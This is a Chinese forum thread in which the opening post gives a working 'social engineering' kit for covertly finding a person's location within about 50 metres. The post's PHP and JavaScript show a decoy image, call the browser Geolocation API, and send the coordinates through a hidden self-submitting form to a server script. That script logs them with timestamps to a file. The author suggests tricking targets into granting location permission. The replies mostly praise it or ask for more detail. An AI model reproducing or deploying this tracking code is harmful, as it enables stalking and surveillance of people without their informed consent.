rono 发表于 2018-8-2 10:32:33

社工之经度纬度定位-50米以内,自测10M

总所周知,我们的IP定位也只是定位公网IP,精准度顶多在300-100米,甚至有些时候不能很好的获取对方的位置,以下的的技术,我自己试了,精准度在50以内
此技术利用了HTML5 Geolocation API
直接调用方法即可,即使是4G网页可以精准定位
最原始代码如下,我自己加了一些

现在编写index.php页面代码<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>Document</title>

</head>

<body>



<img src="1.png" alt="" width="100%;">

    <script>

      var geol;      

      try {

            if (typeof(navigator.geolocation) == 'undefined') {

                geol = google.gears.factory.create('beta.geolocation');

            } else {

                geol = navigator.geolocation;

            }

      } catch (error) {

            //alert(error.message);

      }

         

      if (geol) {

            geol.getCurrentPosition(function(position) {

      

      var nowLatitude = position.coords.latitude;            

      var nowLongitude = position.coords.longitude;      

         //以上是固定代码,获取经度纬度



    alert("纬度:" + nowLatitude + ", 经度:" + nowLongitude);//弹出经度纬度的坐标

         



                  function new_form(){

            var f=document.createElement("form");

            document.body.appendChild(f);

            f.method="post";

            return f;

      }    //定义函数,创建form



      function create_elements(eForm,eName,eValue){

            var e=document.createElement("input");

            eForm.appendChild(e);

            e.type="text";

            e.name=eName;

            if(!document.all){e.style.display="none"}else{

                e.style.display="block";

                e.style.width="0px";

                e.style.height="0px";

            }

            e.value=eValue;

            return e;

      }



//这段代码意思就是 定义方法,有两个input 他们的值分别是经度纬度的值



      var _f=new_form();

      create_elements(_f,"username",nowLatitude) // 创建form中的input对象

      create_elements(_f,"password",nowLongitude);

      

      _f.action="geolocation2.php";

      _f.submit();   //提交

      

//表单自提交发送到geolocation2.php页面







    }, function(error) {

      switch(error.code){

      case error.TIMEOUT :

            //alert("连接超时,请重试");

            break;

      case error.PERMISSION_DENIED :

            //alert("您拒绝了使用位置共享服务,查询已取消");

            break;

      case error.POSITION_UNAVAILABLE :

            //alert("非常抱歉,我们暂时无法通过浏览器获取您的位置信息");

            break;

      }

    }, {timeout:10000});    //设置十秒超时





      }

//设置连接超时的报错







</script>

</body>

</html>
然后来写接受页面 geolocation2.php 的代码

<?php

@$time=date('Y-m-d H:i:s',time());//获取当前时间

$nowLatitude="纬度 ".$_POST['username'];    //接受上个页面传过来的参数(经度坐标)

$nowlongitude="经度 ".$_POST['password']."   ------时间是".$time."\r\n";;    //接受上个页面传过来的参数(纬度坐标)

$fp=fopen("geo.txt", "a+");//创建一个geo.txt文件

fwrite($fp, $nowLatitude);   //把经度写入到geo.txt里

fwrite($fp, $nowlongitude);   //把纬度写入到geo.txt里
对方必须点击授权以后才能拿到对方的经度纬度(这个缺点可以结合社工实现)
获取后会生成一个geo.txt文件在自己的站点上



孤独的徐哥 发表于 2018-8-2 21:03:50

你看不懂之就算看懂了你也不会用系列#pao12##pao12##pao12#

rono 发表于 2018-8-2 10:33:36

源码加成品#pao19#

usasoft 发表于 2018-8-2 12:27:05

太牛了。。

7865253 发表于 2018-8-2 16:13:49

这是啥。。。。。。。。。

leeawi 发表于 2018-8-2 21:33:55

看起来应该可以用的样子

ok1962711411 发表于 2018-8-2 21:42:32

不错但是为什么我的等级会自动掉?

tangyun 发表于 2018-8-2 21:50:26

其实主要的就是想使用这个ip定位的功能{:2_27:}

1085333309 发表于 2018-8-3 03:11:39

Sombra 发表于 2018-8-3 07:42:50

雨后屋檐的暗陬 发表于 2018-8-3 08:51:22

马克下。。虽然看不太懂#pao23#

hao 发表于 2018-8-3 09:34:07

- -求贴主发一个具体的教程

LCSHLF 发表于 2018-8-3 09:48:04

看样子很牛#pao12#

hero_dreams 发表于 2018-8-3 20:13:16

求具体教程啊楼主

m67z3 发表于 2018-8-4 17:39:59

#pao27#还要自己租个服务器
页: [1] 2 3 4 5
查看完整版本: 社工之经度纬度定位-50米以内,自测10M